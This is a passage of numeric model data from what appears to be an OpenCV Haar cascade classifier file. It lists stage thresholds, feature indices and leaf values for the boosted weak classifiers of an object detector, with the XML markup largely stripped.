5.0201490521430969e-03 -1 -2 225 + 2.5601210072636604e-03 + + -5.9016227722167969e-01 1.9469800591468811e-01 + -6.4648360013961792e-01 + <_> + + 1 0 226 -1.2395749799907207e-03 -1 -2 227 + -5.1075750961899757e-03 + + -2.7762159705162048e-01 -6.1149162054061890e-01 + 3.5250389575958252e-01 + <_> + + 1 0 228 -6.4853738876990974e-05 -1 -2 229 + 2.3282810579985380e-03 + + -3.4008860588073730e-01 2.7134749293327332e-01 + -6.6915398836135864e-01 + <_> + + 1 0 230 -1.5571110416203737e-03 -1 -2 231 + 2.3992219939827919e-03 + + -4.1144248843193054e-01 2.5939700007438660e-01 + -4.0380299091339111e-01 + <_> + + 1 0 232 7.7784422319382429e-04 -1 -2 233 + 3.2334199640899897e-03 + + 2.9523921012878418e-01 -5.8436852693557739e-01 + -1.7936639487743378e-02 + <_> + + 1 0 234 -5.6113858590833843e-05 -1 -2 235 + 1.9111000001430511e-03 + + -3.5021650791168213e-01 2.6312610507011414e-01 + -6.1549347639083862e-01 + <_> + + 0 1 236 -3.4321150742471218e-03 -1 -2 237 + -1.4541969634592533e-02 + + 3.7493300437927246e-01 4.3788930773735046e-01 + -3.0131611227989197e-01 + <_> + + 0 1 238 -2.5027070194482803e-02 -1 -2 239 + -3.1183639075607061e-03 + + -5.2829748392105103e-01 -8.1336849927902222e-01 + 1.7928420007228851e-01 + <_> + + 1 0 240 2.9415208846330643e-03 -1 -2 241 + -2.4807679001241922e-03 + + -4.7243058681488037e-01 -6.0058331489562988e-01 + 2.1497109532356262e-01 + <_> + + 1 0 242 -4.2498838156461716e-03 -1 -2 243 + 7.6959328725934029e-03 + + -3.3230608701705933e-01 2.1247069537639618e-01 + -8.1967252492904663e-01 + <_> + + 0 1 244 -6.1426039785146713e-02 -1 -2 245 + 5.3176790475845337e-02 + + 5.2200448513031006e-01 -2.9851761460304260e-01 + 2.8654190897941589e-01 + <_> + + 0 1 246 2.5695779186207801e-05 -1 -2 247 + 2.4311970919370651e-03 + + -3.4719291329383850e-01 -1.2133490294218063e-01 + 3.8965350389480591e-01 + <_> + + 1 0 248 5.6956289336085320e-03 -1 -2 249 + -6.6630227956920862e-04 + + -6.6364032030105591e-01 2.7921909093856812e-01 + -2.1624849736690521e-01 + <_> + 20 + -2.0051579475402832e+00 + + <_> + + 1 0 250 -2.8509549796581268e-02 -1 -2 251 + -1.6429109498858452e-02 + + -5.5133241415023804e-01 6.0328769683837891e-01 + -3.0009600520133972e-01 + <_> + + 1 0 252 -5.8078952133655548e-03 -1 -2 253 + -1.4670349657535553e-02 + + -4.8640519380569458e-01 4.4786658883094788e-01 + -3.5448360443115234e-01 + <_> + + 1 0 254 -1.0694459779188037e-03 -1 -2 255 + -5.0697539001703262e-02 + + -3.8593119382858276e-01 4.3865600228309631e-01 + -3.1134051084518433e-01 + <_> + + 0 1 256 -7.2318017482757568e-02 -1 -2 257 + -1.6740759834647179e-02 + + 5.5695492029190063e-01 3.4036931395530701e-01 + -3.7713068723678589e-01 + <_> + + 1 0 258 1.2923260219395161e-02 -1 -2 259 + -2.0832989830523729e-03 + + 2.6987180113792419e-01 7.2217263281345367e-02 + -5.0617259740829468e-01 + <_> + + 0 1 260 2.9217539122328162e-04 -1 -2 261 + 4.6477448195219040e-03 + + -4.7199469804763794e-01 -2.0233640074729919e-01 + 3.6684620380401611e-01 + <_> + + 0 1 262 1.6355320112779737e-03 -1 -2 263 + 6.0143060982227325e-03 + + -3.3369150757789612e-01 2.6335370540618896e-01 + -7.5315129756927490e-01 + <_> + + 0 1 264 -1.9768040627241135e-02 -1 -2 265 + 5.0995801575481892e-03 + + -7.3396641016006470e-01 -1.0626330226659775e-01 + 3.7877479195594788e-01 + <_> + + 1 0 266 2.1737320348620415e-03 -1 -2 267 + 2.3621059954166412e-02 + + -4.5873621106147766e-01 -3.7341989576816559e-02 + 5.0312960147857666e-01 + <_> + + 1 0 268 4.7070439904928207e-02 -1 -2 269 + 4.8429161310195923e-02 + + 3.9159670472145081e-01 -2.7507638931274414e-01 + 3.6923450231552124e-01 + <_> + + 0 1 270 7.1763257437851280e-05 -1 -2 271 + -4.0031517855823040e-03 + + -2.6133701205253601e-01 -4.6118479967117310e-01 + 3.4101578593254089e-01 + <_> + + 1 0 272 2.5536299217492342e-03 -1 -2 273 + -2.5720898993313313e-03 + + 4.4237849116325378e-01 4.3066531419754028e-01 + -2.8360688686370850e-01 + <_> + + 1 0 274 8.7512210011482239e-03 -1 -2 275 + 5.7346918620169163e-03 + + -7.7647632360458374e-01 1.4551159739494324e-01 + -7.5074160099029541e-01 + <_> + + 0 1 276 -6.6438838839530945e-03 -1 -2 277 + -3.4590701106935740e-03 + + 4.0350550413131714e-01 2.8769719600677490e-01 + -2.8021600842475891e-01 + <_> + + 1 0 278 9.9742468446493149e-03 -1 -2 279 + 1.3233659788966179e-02 + + -6.0677021741867065e-01 1.5478080511093140e-01 + -7.0759147405624390e-01 + <_> + + 0 1 280 -5.0271311774849892e-03 -1 -2 281 + -1.2092100223526359e-04 + + -7.3897778987884521e-01 2.3473000526428223e-01 + -2.4400579929351807e-01 + <_> + + 1 0 282 -1.2881499715149403e-03 -1 -2 283 + 6.2854858115315437e-03 + + -2.8901669383049011e-01 2.8100869059562683e-01 + -5.6933850049972534e-01 + <_> + + 1 0 284 5.6929360143840313e-03 -1 -2 285 + -5.3880861960351467e-03 + + -7.8456932306289673e-01 2.6201328635215759e-01 + -2.2232030332088470e-01 + <_> + + 1 0 286 4.8205819912254810e-03 -1 -2 287 + 3.4279188513755798e-01 + + 5.6795972585678101e-01 -1.8314230442047119e-01 + 5.4108071327209473e-01 + <_> + + 0 1 288 5.1370919682085514e-03 -1 -2 289 + -9.1285221278667450e-03 + + -3.9116761088371277e-01 5.3076338768005371e-01 + -3.0019309371709824e-02 + <_> + 21 + -2.1121981143951416e+00 + + <_> + + 1 0 290 -5.1386129111051559e-02 -1 -2 291 + 5.1850839518010616e-03 + + -5.3148782253265381e-01 -2.4744540452957153e-01 + 6.1181622743606567e-01 + <_> + + 1 0 292 -1.5259400010108948e-02 -1 -2 293 + 2.5995150208473206e-02 + + -4.3303629755973816e-01 4.3979901820421219e-02 + 7.3829138278961182e-01 + <_> + + 1 0 294 -3.2312370836734772e-02 -1 -2 295 + 1.3700700365006924e-02 + + -3.9609751105308533e-01 -2.7643880248069763e-01 + 4.2535358667373657e-01 + <_> + + 1 0 296 -2.2647869773209095e-03 -1 -2 297 + -6.8290620110929012e-03 + + -3.2005569338798523e-01 -5.1682972908020020e-01 + 3.6975708603858948e-01 + <_> + + 1 0 298 -2.2481549531221390e-03 -1 -2 299 + 4.5944549143314362e-02 + + -3.6244350671768188e-01 -1.3187309959903359e-03 + 6.3217681646347046e-01 + <_> + + 1 0 300 1.8755620112642646e-03 -1 -2 301 + -1.9700559787452221e-03 + + -7.1403390169143677e-01 -5.8730661869049072e-01 + 1.7592810094356537e-01 + <_> + + 1 0 302 -6.5721389837563038e-03 -1 -2 303 + -1.1746180243790150e-02 + + -3.6347511410713196e-01 3.1440791487693787e-01 + -4.0111118555068970e-01 + <_> + + 1 0 304 -1.6494120063725859e-04 -1 -2 305 + -7.2169408667832613e-05 + + -3.7792590260505676e-01 5.2791112661361694e-01 + -1.0790319740772247e-01 + <_> + + 0 1 306 1.9697639800142497e-04 -1 -2 307 + -1.1423509567975998e-02 + + -4.7097641229629517e-01 -8.5209292173385620e-01 + 1.7662869393825531e-01 + <_> + + 0 1 308 -4.5562228187918663e-03 -1 -2 309 + -4.4720191508531570e-03 + + -8.0601161718368530e-01 -6.1500209569931030e-01 + 1.2908309698104858e-01 + <_> + + 0 1 310 -1.7765410011634231e-03 -1 -2 311 + -7.8799277544021606e-03 + + 3.1382599472999573e-01 3.0394628643989563e-01 + -3.7204921245574951e-01 + <_> + + 0 1 312 -1.4284689677879214e-03 -1 -2 313 + -1.8939910223707557e-03 + + 5.0413030385971069e-01 3.4823760390281677e-01 + -2.3673820495605469e-01 + <_> + + 0 1 314 -3.1496640294790268e-03 -1 -2 315 + -1.0716119781136513e-02 + + -6.6812378168106079e-01 -4.8515519499778748e-01 + 1.9036419689655304e-01 + <_> + + 0 1 316 -6.8033537827432156e-03 -1 -2 317 + 1.4902319759130478e-02 + + -5.6979268789291382e-01 1.3098250329494476e-01 + -7.1448272466659546e-01 + <_> + + 0 1 318 -3.4170228987932205e-02 -1 -2 319 + -1.4779250323772430e-01 + + 5.0575131177902222e-01 2.8233268857002258e-01 + -2.7205321192741394e-01 + <_> + + 1 0 320 -5.5842810979811475e-05 -1 -2 321 + 3.9885081350803375e-02 + + -2.6936730742454529e-01 5.6696129031479359e-03 + 6.3975161314010620e-01 + <_> + + 1 0 322 1.2483130209147930e-02 -1 -2 323 + -3.2864511013031006e-04 + + -7.4533742666244507e-01 3.6449620127677917e-01 + -9.6498817205429077e-02 + <_> + + 0 1 324 -1.4710469986312091e-04 -1 -2 325 + -2.7814340591430664e-01 + + 1.4060440659523010e-01 5.7002830505371094e-01 + -4.8755478858947754e-01 + <_> + + 0 1 326 -1.3452640268951654e-03 -1 -2 327 + 9.1500842245295644e-04 + + 3.9255830645561218e-01 -3.0215170979499817e-01 + 3.6698031425476074e-01 + <_> + + 0 1 328 -3.4133149310946465e-03 -1 -2 329 + 5.1169008947908878e-03 + + -6.4085817337036133e-01 -2.3052580654621124e-01 + 2.4285919964313507e-01 + <_> + + 1 0 330 8.8846698403358459e-02 -1 -2 331 + 6.1080828309059143e-03 + + 4.5381888747215271e-01 -3.5880088806152344e-01 + 1.3209380209445953e-01 + <_> + 23 + -1.8701590299606323e+00 + + <_> + + 1 0 332 -1.5930000692605972e-02 -1 -2 333 + 2.7407450601458549e-02 + + -3.5245341062545776e-01 -6.0236789286136627e-02 + 7.2715848684310913e-01 + <_> + + 1 0 334 -8.5037678480148315e-02 -1 -2 335 + -1.1508919997140765e-03 + + -4.3576711416244507e-01 4.6471679210662842e-01 + -3.5896891355514526e-01 + <_> + + 1 0 336 -6.4599298639222980e-04 -1 -2 337 + 5.5495807901024818e-03 + + -3.1371060013771057e-01 4.1225919127464294e-01 + -4.9400448799133301e-01 + <_> + + 1 0 338 -1.1472150217741728e-03 -1 -2 339 + -6.4546810463070869e-03 + + -3.9192581176757812e-01 -6.9197827577590942e-01 + 2.6103940606117249e-01 + <_> + + 0 1 340 -1.1414250358939171e-02 -1 -2 341 + 1.1582579463720322e-03 + + 3.2361420989036560e-01 -3.8304999470710754e-01 + 2.8015980124473572e-01 + <_> + + 1 0 342 -6.1077292775735259e-04 -1 -2 343 + 1.1812780285254121e-03 + + -3.7471079826354980e-01 -1.7685219645500183e-01 + 3.5498109459877014e-01 + <_> + + 1 0 344 7.9117231070995331e-03 -1 -2 345 + -9.0904926764778793e-05 + + -6.9681918621063232e-01 2.0756739377975464e-01 + -4.4282090663909912e-01 + <_> + + 0 1 346 2.8638960793614388e-03 -1 -2 347 + 1.2769990134984255e-03 + + -4.1364789009094238e-01 -2.1157020330429077e-01 + 3.1919568777084351e-01 + <_> + + 0 1 348 -7.5440858490765095e-03 -1 -2 349 + 5.4467269219458103e-03 + + -7.5495690107345581e-01 1.3229879736900330e-01 + -6.7695891857147217e-01 + <_> + + 1 0 350 1.3641830300912261e-03 -1 -2 351 + 1.3810779899358749e-02 + + -4.2168149352073669e-01 1.5719360113143921e-01 + -6.7965167760848999e-01 + <_> + + 1 0 352 5.0265640020370483e-02 -1 -2 353 + 4.7765119234099984e-05 + + 7.4369138479232788e-01 -3.8102349638938904e-01 + 1.0605350136756897e-01 + <_> + + 1 0 354 1.4666689932346344e-01 -1 -2 355 + -3.0426830053329468e-01 + + 5.3409832715988159e-01 3.7783610820770264e-01 + -2.1534620225429535e-01 + <_> + + 0 1 356 -3.2244708854705095e-03 -1 -2 357 + -1.7187190242111683e-03 + + 2.8274241089820862e-01 1.0677109658718109e-01 + -4.4204118847846985e-01 + <_> + + 0 1 358 -8.4115704521536827e-03 -1 -2 359 + -2.3220919072628021e-02 + + -8.3557051420211792e-01 -5.1933908462524414e-01 + 1.3181640207767487e-01 + <_> + + 0 1 360 -6.3912221230566502e-03 -1 -2 361 + -3.0661540222354233e-04 + + -6.8552321195602417e-01 2.2192850708961487e-01 + -2.3945030570030212e-01 + <_> + + 1 0 362 1.8742750398814678e-03 -1 -2 363 + -2.8299540281295776e-02 + + -4.7218438982963562e-01 -6.8186718225479126e-01 + 1.5923790633678436e-01 + <_> + + 1 0 364 7.9352483153343201e-03 -1 -2 365 + -8.7599940598011017e-03 + + -7.3135781288146973e-01 -6.0014718770980835e-01 + 1.0350330173969269e-01 + <_> + + 0 1 366 -5.5426149629056454e-03 -1 -2 367 + -1.8066290067508817e-03 + + -5.9360408782958984e-01 2.5533521175384521e-01 + -1.7036439478397369e-01 + <_> + + 1 0 368 -8.3993803709745407e-03 -1 -2 369 + -1.9515500171110034e-03 + + -2.3953610658645630e-01 3.7252411246299744e-01 + -1.2982900440692902e-01 + <_> + + 0 1 370 -2.2850139066576958e-03 -1 -2 371 + -6.1910818330943584e-03 + + 5.0227212905883789e-01 4.4551658630371094e-01 + -1.6307780146598816e-01 + <_> + + 1 0 372 1.1659320443868637e-03 -1 -2 373 + -2.1016779355704784e-03 + + 3.4809079766273499e-01 3.1531378626823425e-01 + -3.4710261225700378e-01 + <_> + + 0 1 374 -9.1615924611687660e-03 -1 -2 375 + -2.0036540925502777e-02 + + -6.8623197078704834e-01 -6.8991881608963013e-01 + 1.2962220609188080e-01 + <_> + + 1 0 376 2.7148448862135410e-03 -1 -2 377 + 2.2834159899502993e-03 + + 4.7745740413665771e-01 -1.3344570063054562e-02 + -6.1795878410339355e-01 + <_> + 26 + -1.9807859659194946e+00 + + <_> + + 1 0 378 -3.2838471233844757e-02 -1 -2 379 + -7.5696408748626709e-03 + + -5.1984071731567383e-01 6.3690251111984253e-01 + -1.1562170088291168e-01 + <_> + + 1 0 380 5.4125871509313583e-02 -1 -2 381 + 2.7004599571228027e-01 + + 5.0340247154235840e-01 -3.4640678763389587e-01 + 3.7651509046554565e-01 + <_> + + 0 1 382 7.0261410437524319e-03 -1 -2 383 + 3.1245660502463579e-03 + + -4.1046440601348877e-01 -4.1382190585136414e-01 + 3.7550741434097290e-01 + <_> + + 1 0 384 -1.8708549905568361e-03 -1 -2 385 + -1.4969009906053543e-02 + + -3.7827330827713013e-01 3.9941680431365967e-01 + -2.2254510223865509e-01 + <_> + + 1 0 386 3.4136420581489801e-03 -1 -2 387 + 2.3454260081052780e-03 + + -5.4667568206787109e-01 1.6618840396404266e-01 + -6.3203942775726318e-01 + <_> + + 1 0 388 -1.1689099483191967e-03 -1 -2 389 + -7.8206984326243401e-03 + + -4.4972181320190430e-01 -5.7166117429733276e-01 + 1.8599990010261536e-01 + <_> + + 0 1 390 -2.6324259117245674e-02 -1 -2 391 + -9.1647548833861947e-04 + + -7.8041112422943115e-01 2.3100090026855469e-01 + -2.1224120259284973e-01 + <_> + + 0 1 392 -2.3702960461378098e-03 -1 -2 393 + -9.2874821275472641e-03 + + 2.7304211258888245e-01 2.3200799524784088e-01 + -3.4602558612823486e-01 + <_> + + 1 0 394 2.9221060685813427e-03 -1 -2 395 + -1.4097889652475715e-03 + + -6.9972628355026245e-01 4.8019358515739441e-01 + -4.2650200426578522e-02 + <_> + + 1 0 396 9.3326548812910914e-04 -1 -2 397 + -5.6837309151887894e-02 + + 3.7708479166030884e-01 4.6375161409378052e-01 + -2.0441579818725586e-01 + <_> + + 1 0 398 -9.1405760031193495e-05 -1 -2 399 + -1.1147770099341869e-02 + + -2.9447770118713379e-01 3.6579200625419617e-01 + -1.6106230020523071e-01 + <_> + + 1 0 400 8.0759642878547311e-04 -1 -2 401 + 1.7215589759871364e-03 + + -3.8769969344139099e-01 1.7790059745311737e-01 + -5.9673792123794556e-01 + <_> + + 0 1 402 1.4305640012025833e-02 -1 -2 403 + -3.8885008543729782e-02 + + -2.8887918591499329e-01 3.6497229337692261e-01 + -1.3762719929218292e-01 + <_> + + 0 1 404 -3.4479280002415180e-03 -1 -2 405 + 3.0168178677558899e-01 + + 1.8110840022563934e-01 -3.5425490140914917e-01 + 4.2958360910415649e-01 + <_> + + 1 0 406 2.8582389932125807e-03 -1 -2 407 + 1.4091320335865021e-03 + + 5.2957808971405029e-01 -2.1234430372714996e-01 + 3.1428509950637817e-01 + <_> + + 0 1 408 -1.6597079811617732e-03 -1 -2 409 + 8.7804382201284170e-04 + + -6.3348418474197388e-01 -5.5315300822257996e-02 + 3.9389958977699280e-01 + <_> + + 1 0 410 2.0211800001561642e-03 -1 -2 411 + -6.8409871309995651e-03 + + -4.7127309441566467e-01 -6.4065527915954590e-01 + 1.4861440658569336e-01 + <_> + + 1 0 412 4.7200761735439301e-02 -1 -2 413 + 4.9684080295264721e-03 + + 4.1216409206390381e-01 -3.2404300570487976e-01 + 1.5755960345268250e-01 + <_> + + 1 0 414 3.7529911845922470e-02 -1 -2 415 + -1.1665089987218380e-02 + + 4.1328459978103638e-01 2.5467500090599060e-01 + -3.1303560733795166e-01 + <_> + + 1 0 416 -6.8298257247079164e-05 -1 -2 417 + 1.5325429849326611e-02 + + -2.7212071418762207e-01 2.2946609556674957e-01 + -6.7345708608627319e-01 + <_> + + 1 0 418 8.5185896605253220e-03 -1 -2 419 + -2.6828479021787643e-03 + + -7.1114671230316162e-01 1.5511700510978699e-01 + -3.5444891452789307e-01 + <_> + + 1 0 420 1.3791749952360988e-03 -1 -2 421 + -3.3968368370551616e-05 + + 3.6916270852088928e-01 5.9150930494070053e-02 + -4.6007719635963440e-01 + <_> + + 1 0 422 5.8259358629584312e-03 -1 -2 423 + -8.1688696518540382e-03 + + -5.4986697435379028e-01 -5.0567412376403809e-01 + 1.5189670026302338e-01 + <_> + + 0 1 424 -2.3251199163496494e-03 -1 -2 425 + -4.8669208772480488e-03 + + 3.4904810786247253e-01 5.3138560056686401e-01 + -2.1413469314575195e-01 + <_> + + 1 0 426 4.3380381539463997e-03 -1 -2 427 + 3.4176679328083992e-03 + + -7.8248262405395508e-01 1.2460789829492569e-01 + -5.5297750234603882e-01 + <_> + + 1 0 428 5.5309730768203735e-01 -1 -2 429 + 2.3636389523744583e-03 + + 4.6573078632354736e-01 -3.3309051394462585e-01 + 9.4380050897598267e-02 + <_> + 26 + -1.9697020053863525e+00 + + <_> + + 1 0 430 -2.2934280335903168e-02 -1 -2 431 + -4.2665850371122360e-02 + + -4.4716298580169678e-01 5.4085898399353027e-01 + -3.3589279651641846e-01 + <_> + + 0 1 432 -9.8418388515710831e-03 -1 -2 433 + -1.1932349763810635e-02 + + 3.9958000183105469e-01 3.4219118952751160e-01 + -4.2416951060295105e-01 + <_> + + 1 0 434 -2.4437010288238525e-02 -1 -2 435 + -4.9987169913947582e-03 + + -3.7337359786033630e-01 4.0358328819274902e-01 + -3.5199370980262756e-01 + <_> + + 0 1 436 1.8582950579002500e-03 -1 -2 437 + 2.7540219016373158e-03 + + -4.4158118963241577e-01 -2.8722938895225525e-01 + 3.3857241272926331e-01 + <_> + + 1 0 438 -3.4452530089765787e-03 -1 -2 439 + -5.9277489781379700e-03 + + -3.1821981072425842e-01 -6.5073519945144653e-01 + 2.7109220623970032e-01 + <_> + + 1 0 440 -1.2391789641696960e-04 -1 -2 441 + -7.3327139019966125e-02 + + -3.3467200398445129e-01 -5.9646248817443848e-01 + 2.2861810028553009e-01 + <_> + + 1 0 442 -8.3964750170707703e-02 -1 -2 443 + -8.1644707825034857e-04 + + -2.2525189816951752e-01 3.8213649392127991e-01 + -3.3410450816154480e-01 + <_> + + 0 1 444 -1.5207779593765736e-02 -1 -2 445 + 4.6894788742065430e-02 + + 3.0742698907852173e-01 -3.8833889365196228e-01 + 2.3177519440650940e-01 + <_> + + 0 1 446 -1.0398440062999725e-01 -1 -2 447 + 3.9815339259803295e-03 + + 7.1321141719818115e-01 -2.3310199379920959e-01 + 2.9247841238975525e-01 + <_> + + 1 0 448 2.5737080723047256e-03 -1 -2 449 + 9.1035291552543640e-04 + + -5.5017340183258057e-01 -1.8228930234909058e-01 + 2.8370320796966553e-01 + <_> + + 1 0 450 6.4211348071694374e-03 -1 -2 451 + -5.8243819512426853e-03 + + -4.8581978678703308e-01 2.4608190357685089e-01 + -2.1565020084381104e-01 + <_> + + 0 1 452 -4.0043629705905914e-02 -1 -2 453 + 8.4683427121490240e-04 + + -6.3880550861358643e-01 -6.0435589402914047e-02 + 4.3711128830909729e-01 + <_> + + 1 0 454 1.2964580208063126e-02 -1 -2 455 + -2.2524749510921538e-04 + + 5.9495061635971069e-01 8.6831472814083099e-02 + -3.6362320184707642e-01 + <_> + + 0 1 456 -1.7258729785680771e-03 -1 -2 457 + -7.2289421223104000e-03 + + -6.4707720279693604e-01 -6.8775367736816406e-01 + 1.3838720321655273e-01 + <_> + + 1 0 458 2.5079259648919106e-03 -1 -2 459 + -1.9473560387268662e-03 + + 3.0659309029579163e-01 2.2967760264873505e-01 + -3.4737649559974670e-01 + <_> + + 1 0 460 7.4747111648321152e-03 -1 -2 461 + 1.0328400094294921e-04 + + -6.5191787481307983e-01 -2.0725889503955841e-01 + 2.2402130067348480e-01 + <_> + + 0 1 462 -7.8996885567903519e-03 -1 -2 463 + 4.2833909392356873e-03 + + -7.2479170560836792e-01 1.3954970240592957e-01 + -4.3086060881614685e-01 + <_> + + 1 0 464 6.3452741596847773e-04 -1 -2 465 + -5.4966621100902557e-03 + + 2.9792639613151550e-01 -5.6205391883850098e-01 + -2.9608119279146194e-02 + <_> + + 1 0 466 3.1408690847456455e-03 -1 -2 467 + -5.0443639047443867e-03 + + -6.1322140693664551e-01 -5.3060102462768555e-01 + 1.2507459521293640e-01 + <_> + + 1 0 468 4.5964870601892471e-02 -1 -2 469 + -5.3749699145555496e-03 + + 3.8188719749450684e-01 1.4089010655879974e-01 + -3.5535690188407898e-01 + <_> + + 1 0 470 2.9262059833854437e-03 -1 -2 471 + 5.2230368601158261e-04 + + -6.0886657238006592e-01 -7.1441568434238434e-02 + 3.6275258660316467e-01 + <_> + + 0 1 472 -4.4181118719279766e-03 -1 -2 473 + 4.3349149636924267e-03 + + -7.6458007097244263e-01 1.1246410012245178e-01 + -5.4553848505020142e-01 + <_> + + 1 0 474 2.6483018882572651e-03 -1 -2 475 + -1.0814110282808542e-03 + + 2.3542310297489166e-01 1.4422300457954407e-01 + -3.4401959180831909e-01 + <_> + + 1 0 476 -5.4296739108394831e-05 -1 -2 477 + 5.5393581278622150e-03 + + -2.8607460856437683e-01 1.9345289468765259e-01 + -5.0549429655075073e-01 + <_> + + 1 0 478 3.3703099936246872e-02 -1 -2 479 + -1.2178930046502501e-04 + + 3.8302558660507202e-01 6.6414177417755127e-02 + -4.8530051112174988e-01 + <_> + + 0 1 480 -1.7803770024329424e-03 -1 -2 481 + -5.6019638577708974e-05 + + 4.4113549590110779e-01 1.2396749854087830e-01 + -2.6292270421981812e-01 + <_> + 30 + -2.0330519676208496e+00 + + <_> + + 1 0 482 3.1982790678739548e-03 -1 -2 483 + -1.5240450156852603e-03 + + 5.4208421707153320e-01 8.2784838974475861e-02 + -5.0164830684661865e-01 + <_> + + 0 1 484 -1.2284429743885994e-02 -1 -2 485 + -8.3555448800325394e-03 + + 4.4174939393997192e-01 3.5863399505615234e-01 + -3.6254858970642090e-01 + <_> + + 1 0 486 4.1357800364494324e-02 -1 -2 487 + 2.2308749612420797e-03 + + 4.7858810424804688e-01 -6.0390347242355347e-01 + -8.7199418339878321e-04 + <_> + + 1 0 488 -5.4160541296005249e-01 -1 -2 489 + 7.9009458422660828e-03 + + -3.2536658644676208e-01 -3.6415100097656250e-01 + 4.0501600503921509e-01 + <_> + + 1 0 490 -2.7236728928983212e-03 -1 -2 491 + 2.1041880827397108e-03 + + -2.7644181251525879e-01 3.4068119525909424e-01 + -4.1922488808631897e-01 + <_> + + 1 0 492 1.2688159476965666e-03 -1 -2 493 + -4.2881062254309654e-03 + + -5.4520767927169800e-01 3.0060088634490967e-01 + -1.5233190357685089e-01 + <_> + + 1 0 494 -4.8890449106693268e-03 -1 -2 495 + 5.0922110676765442e-03 + + -3.7665820121765137e-01 2.1803319454193115e-01 + -5.7126522064208984e-01 + <_> + + 0 1 496 -7.0944731123745441e-03 -1 -2 497 + 2.5431890040636063e-02 + + 5.1921921968460083e-01 -2.1260249614715576e-01 + 3.0566200613975525e-01 + <_> + + 1 0 498 -6.7461907747201622e-05 -1 -2 499 + -8.5350889712572098e-03 + + -3.3406749367713928e-01 3.5043460130691528e-01 + -9.0384833514690399e-02 + <_> + + 0 1 500 -4.1117807850241661e-03 -1 -2 501 + 6.3964081928133965e-03 + + -6.9683700799942017e-01 1.1542639881372452e-01 + -6.6645371913909912e-01 + <_> + + 1 0 502 9.8322751000523567e-04 -1 -2 503 + -5.5737968068569899e-04 + + 3.5695379972457886e-01 2.3081110417842865e-01 + -2.8862631320953369e-01 + <_> + + 1 0 504 2.8798289131373167e-03 -1 -2 505 + -7.7164517715573311e-03 + + -5.9923267364501953e-01 3.6074900627136230e-01 + -8.1827618181705475e-02 + <_> + + 0 1 506 3.7285129074007273e-03 -1 -2 507 + -1.3161109760403633e-02 + + -3.7732011079788208e-01 6.7023038864135742e-01 + 1.5114549547433853e-02 + <_> + + 1 0 508 -3.8966130465269089e-02 -1 -2 509 + -5.7413699105381966e-03 + + -3.1252211332321167e-01 3.3947479724884033e-01 + -1.6011409461498260e-01 + <_> + + 1 0 510 1.2538330256938934e-01 -1 -2 511 + -9.7243122756481171e-02 + + 7.3721152544021606e-01 5.0288981199264526e-01 + -1.3284370303153992e-01 + <_> + + 0 1 512 -2.0128490868955851e-03 -1 -2 513 + 3.5349070094525814e-03 + + 4.1367891430854797e-01 -1.5923270583152771e-01 + 4.4056579470634460e-01 + <_> + + 1 0 514 4.4846540689468384e-01 -1 -2 515 + -1.0387780144810677e-02 + + 5.9423661231994629e-01 3.0399119853973389e-01 + -1.8287350237369537e-01 + <_> + + 0 1 516 -1.4210389927029610e-03 -1 -2 517 + 3.6446070298552513e-03 + + -4.5361068844795227e-01 1.5766820311546326e-01 + -6.2608838081359863e-01 + <_> + + 1 0 518 3.2253630924969912e-03 -1 -2 519 + 9.8893349058926105e-04 + + -4.1410240530967712e-01 -1.0757800191640854e-01 + 3.1156888604164124e-01 + <_> + + 0 1 520 -2.7107829228043556e-03 -1 -2 521 + -6.9264871999621391e-03 + + -7.5352817773818970e-01 2.7464428544044495e-01 + -1.1728949844837189e-01 + <_> + + 0 1 522 -3.7942770868539810e-02 -1 -2 523 + 1.3486459851264954e-02 + + 2.6936548948287964e-01 -3.1532868742942810e-01 + 2.5785440206527710e-01 + <_> + + 1 0 524 2.7866458985954523e-03 -1 -2 525 + 3.2895719632506371e-03 + + -6.8431657552719116e-01 1.2949100136756897e-01 + -4.4475141167640686e-01 + <_> + + 1 0 526 1.7910100286826491e-03 -1 -2 527 + 3.3694170415401459e-03 + + -5.6237429380416870e-01 -6.1936769634485245e-02 + 3.6794289946556091e-01 + <_> + + 0 1 528 6.5897632157430053e-04 -1 -2 529 + -3.2603838917566463e-05 + + -2.7705720067024231e-01 2.7426779270172119e-01 + -2.2369539737701416e-01 + <_> + + 0 1 530 -6.0175720602273941e-02 -1 -2 531 + -2.1217610687017441e-02 + + -7.4174910783767700e-01 -4.5034751296043396e-01 + 1.1426000297069550e-01 + <_> + + 1 0 532 -2.2632910404354334e-03 -1 -2 533 + 6.0313078574836254e-03 + + -3.0538588762283325e-01 2.0562660694122314e-01 + -4.0689799189567566e-01 + <_> + + 1 0 534 5.7578482665121555e-04 -1 -2 535 + -9.3677162658423185e-04 + + 3.5098749399185181e-01 2.1616159379482269e-01 + -2.4415770173072815e-01 + <_> + + 0 1 536 -3.7626568228006363e-02 -1 -2 537 + 4.4729812070727348e-03 + + -5.9113681316375732e-01 1.5792270004749298e-01 + -3.2226279377937317e-01 + <_> + + 0 1 538 -7.1853301487863064e-03 -1 -2 539 + 4.0520228445529938e-02 + + -5.9519052505493164e-01 -6.6688463091850281e-02 + 3.4030249714851379e-01 + <_> + + 0 1 540 -6.1968388035893440e-03 -1 -2 541 + 1.0311529971659184e-02 + + -6.7287462949752808e-01 1.0683239996433258e-01 + -5.4825967550277710e-01 + <_> + 33 + -1.9516259431838989e+00 + + <_> + + 1 0 542 -1.9320519641041756e-02 -1 -2 543 + -1.5126460231840611e-02 + + -3.8712570071220398e-01 6.4468181133270264e-01 + -1.2727110087871552e-01 + <_> + + 1 0 544 -6.0182690620422363e-02 -1 -2 545 + -1.3576049823313951e-03 + + -3.0819109082221985e-01 4.8021888732910156e-01 + -3.3428680896759033e-01 + <_> + + 1 0 546 -5.6930771097540855e-03 -1 -2 547 + -8.0942036584019661e-03 + + -3.3166080713272095e-01 4.7517481446266174e-01 + -7.4761562049388885e-02 + <_> + + 0 1 548 6.8413332337513566e-04 -1 -2 549 + -1.1520589888095856e-01 + + -3.5741969943046570e-01 2.6105090975761414e-01 + -3.1773808598518372e-01 + <_> + + 0 1 550 -9.1124046593904495e-03 -1 -2 551 + 5.4891068430151790e-05 + + -5.8540707826614380e-01 -2.2981899976730347e-01 + 2.3482909798622131e-01 + <_> + + 0 1 552 -9.5622539520263672e-03 -1 -2 553 + -8.2032606005668640e-03 + + 3.9155280590057373e-01 4.3179950118064880e-01 + -2.3173290491104126e-01 + <_> + + 0 1 554 -4.0035760030150414e-03 -1 -2 555 + 2.5406230706721544e-03 + + -5.8700478076934814e-01 1.7990030348300934e-01 + -4.1681569814682007e-01 + <_> + + 1 0 556 1.9435470458120108e-03 -1 -2 557 + 8.4362342022359371e-04 + + 3.0340009927749634e-01 -3.0661040544509888e-01 + 